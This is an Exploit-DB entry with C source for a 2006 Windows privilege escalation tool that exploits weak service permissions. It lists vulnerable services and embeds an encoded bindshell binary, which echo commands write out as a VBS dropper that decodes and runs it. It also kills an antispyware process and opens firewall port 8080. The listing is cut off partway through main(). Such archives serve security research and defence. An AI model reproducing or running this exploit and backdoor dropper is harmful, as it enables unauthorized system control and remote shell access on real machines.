Exploit-DB #1465
Description: Microsoft Windows - ACLs Privilege Escalation (2)
Type: local
Platform: windows
Date: 2006-02-12
Author: Andres Tarasco

Exploit:
/*
 * Privilege Scalation for Windows Networks using weak Service restrictions v2.0
 * (c) 2006 Andres Tarasco AcuÃ±a ( atarasco _at_ gmail.com )
 * Date: February 6, 2006 - http://www.haxorcitos.com
 * http://microsoft.com/technet/security/advisory/914457.mspx
 *
 * ---------------------------------------
 * LIST OF WELL KNOWN VULNERABLE SERVICES
 * ---------------------------------------
 *
 * * Windows XP with sp2
 *  - As Power User:
 *    service: DcomLaunch ( SYSTEM )
 *    Service: UpnpHost ( Local Service )
 *    Service: SSDPSRV (Local Service)
 *    Service: WMI (SYSTEM) <- sometimes as user also..
 *  - As User:
 *    Service: UpnpHost ( Local Service )
 *    Service: SSDPSRV (Local Service)
 *  - As Network Config Operators:
 *    service: DcomLaunch ( SYSTEM )
 *    Service: UpnpHost ( Local Service )
 *    Service: SSDPSRV (Local Service)
 *    Service: DHCP ( SYSTEM )
 *    Service: NetBT (SYSTEM - .sys driver)
 *    Service DnsCache (SYSTEM)
 *
 * * Windows 2000
 *  - As Power user
 *    service: WMI (SYSTEM)
 *
 *  * Third Part software (local & remote code execution)
 *    Service: [Pml Driver HPZ12] (HP Software - C:\WINNT\system32\spool\DRIVERS\W32X86\3\HPZipm12.exe)
 *    -Granted Full Control to Everyone Group.
 *
 *    Service: [Autodesk Licensing Service] (Autocad - C:\program files\Common files\Autodesk Shared\Service\AdskScSrv.exe)
 *    -Maybe related to: https://www.securityfocus.com/bid/16472
 *    -Autodesk Multiple Products Remote Unauthorized Access Vulnerability
 *
 *
 * IMPORTANT!! You should execute this tool without Admin privileges on the target system
 *  srvcheck.exe -? for information about usage.
 *
 * NOTE: This code compiles under Borland C++ Builder
 *
*/
#include <stdio.h>
#include <windows.h>

//Functions
void doFormatMessage( unsigned int dwLastErr );
void usage(void);
DWORD StartModifiedService(SC_HANDLE SCM, char *srv, BOOL dbg);
void ListVulnerableService(char *host);
char *GetOwner(char *servicio);


//Remove previously created files
char init[]="cmd.exe /c rd /Q /S \\HXR";
char antispyware[]="taskkill.exe  /IM gcasDtServ.exe";
char firewall[]="cmd.exe /c netsh firewall add portopening TCP 8080 SrvCheck ENABLE ALL";


char EncodedBackdoor[]=
"cmd.exe /c md \\HXR && " //Final Bindshell-code is an 804 bytes binary
//Encoded with Tarako Exe2vbs (http://www.haxorcitos.com)
"echo f= \"4D5A000001z3z04z5z01z9z40z35z50z3z665AB44CCD21z10z504500004C[PII_REDACTED]5221z8zE0000F010B010600A8z3zBCz7zC0010000C[PII_REDACTED]2z4z400004z3z04z3z04z7z04z7z[PII_REDACTED]\">\\HXR\\a.vbs && "
"echo f=f ^& \"02z6z02z5z10000010z4z10000010z6z10z11z880200003Cz83z[PII_REDACTED]z27z2E576F70z4zA6z3zC0010000A8z3zC001z14z200000602E615434z4zB6z3z68020000B8z3z6802z14z400000402E54\">>\\HXR\\a.vbs && "
"echo f=f ^& \"524Bz4z04z3z[PII_REDACTED]z3z2003z14z400000C0558BEC81ECF[PII_REDACTED]D850CFEFFFF[PII_REDACTED]0000FF[PII_REDACTED]3F65656566A066A016A02FF[PII_REDACTED]BD88D45F06A10505366C745F002\">>\\HXR\\a.vbs && "
"echo f=f ^& \"0066C745F21F908975F4FF[PII_REDACTED]A0153FF157C0240008D45F0565053FF[PII_REDACTED]945EC8945E88945E48D459C508D45AC505656566A[PII_REDACTED]03400056C745AC44z3z668975DCC745D801\">>\\HXR\\a.vbs && "
"echo f=f ^& \"[PII_REDACTED]B88975B48975E0FF[PII_REDACTED]E5BC9C210z3zFE02z6zE[PII_REDACTED][PII_REDACTED]0800D[PII_REDACTED]0080z4zCC02z10zF[PII_REDACTED]20000C402z10z[PII_REDACTED]2z22zFE02z6zE40200\">>\\HXR\\a.vbs && "
"echo f=f ^& \"[PII_REDACTED]020000800D[PII_REDACTED]0080z4z3D[PII_REDACTED]6F636B[PII_REDACTED]5753325F33322E646C6C[PII_REDACTED][PII_REDACTED]50726F[PII_REDACTED]00004B45524E454C33322E646C6Cz4z636D6400\">>\\HXR\\a.vbs && "
"echo i=1 : t = \"\" : While i^<=len(f) : If mid(f,i,1) = \"z\" then>>\\HXR\\a.vbs && "
"echo a=i+1 : k = 0 : while mid(f,a,1)^<^>\"z\" : k = k*10 + mid(f,a,1) : a = a+1 : WEnd : i = a+1 : for a=1 to k : t = t + \"00\" : Next>>\\HXR\\a.vbs && "
"echo ElseIf mid(f,i,1) ^<^> \"z\" then : t = t ^& mid(f,i,2) : i = i+2 >>\\HXR\\a.vbs && "
"echo end if : WEnd : Set o = CreateObject(\"Scripting.FileSystemObject\") >>\\HXR\\a.vbs && "
"echo Set n = o.CreateTextFile(\"\\HXR\\a.exe\", ForWriting) : i = 1 : while i ^< len(t)>>\\HXR\\a.vbs && "
"echo f = Int(\"&H\" ^& Mid(t, i, 2)) : n.Write(Chr(f)) : i = i+2 : WEnd : n.Close>>\\HXR\\a.vbs && "
"echo Set s=CreateObject(\"WScript.Shell\") : s.run(\"\\HXR\\a.exe\")>>\\HXR\\a.vbs &&"
"\\HXR\\a.vbs /B";

BYTE LIST=0,HELP=0,BACKDOOR=1, STOP=0;
char RemoteHost[256];
char permission[256];

/******************************************************************************/
int main(int argc, char* argv[]) {

 SC_HANDLE SCM,Svc;
 DWORD ret,len;
 char CurrentUserName[256];
 char *newPath=NULL;
 char *host=NULL;
 char *user=NULL;
 char *pass=NULL;
 char *srv=NULL;
 int i;
 NETRESOURCE NET;
  SERVICE_STATUS_PROCESS StopStatus;

 printf(" Services Permissions checker v2.0\n");
 printf(" (c) 2006 Andres Tarasco - atarasco%cgmail.com\n\n",'@');

 if (argc==1) usage();
 for (i=1;i<argc;i++) {
    if ( (strlen(argv[i])==2) && (argv[i][0]=='-') ) {
        switch (argv[i][1]) {
            case 'l': LIST=1; break;
            case 'm': srv=argv[i+1]; i=i+1;break;
            case 'u': if (!host) usage(); user=argv[i+1]; i=i++; break;
            case 'p': if (!host) usage(); pass=argv[i+1]; i=i++; break;
            case 'H': host=argv[i+1]; i=i++; break;
            case 'c': newPath=argv[i+1]; i=i+1; BACKDOOR=0; break;
            case 's': STOP=1; break;
            case '?': HELP=1; usage(); break;
            default: printf("Unknown Parameter: %s\n",argv[i]);usage(); break;
        }
    }
 }

 if ((!LIST) && (!srv) )usage();

 if (host) { //InicializaciÃ³n.. ConexiÃ³n al sistema remoto..
    printf("[+] Trying to connect to remote SCM\n");
    sprintf(RemoteHost,"\\\\%s\\IPC$",host);
    printf("[+] Host: %s\n",RemoteHost);
    printf("[+] Username: %s\n",user);
    printf("[+] Password: %s\n",pass);

    NET.dwType = RESOURCETYPE_ANY;
    NET.lpProvider = NULL;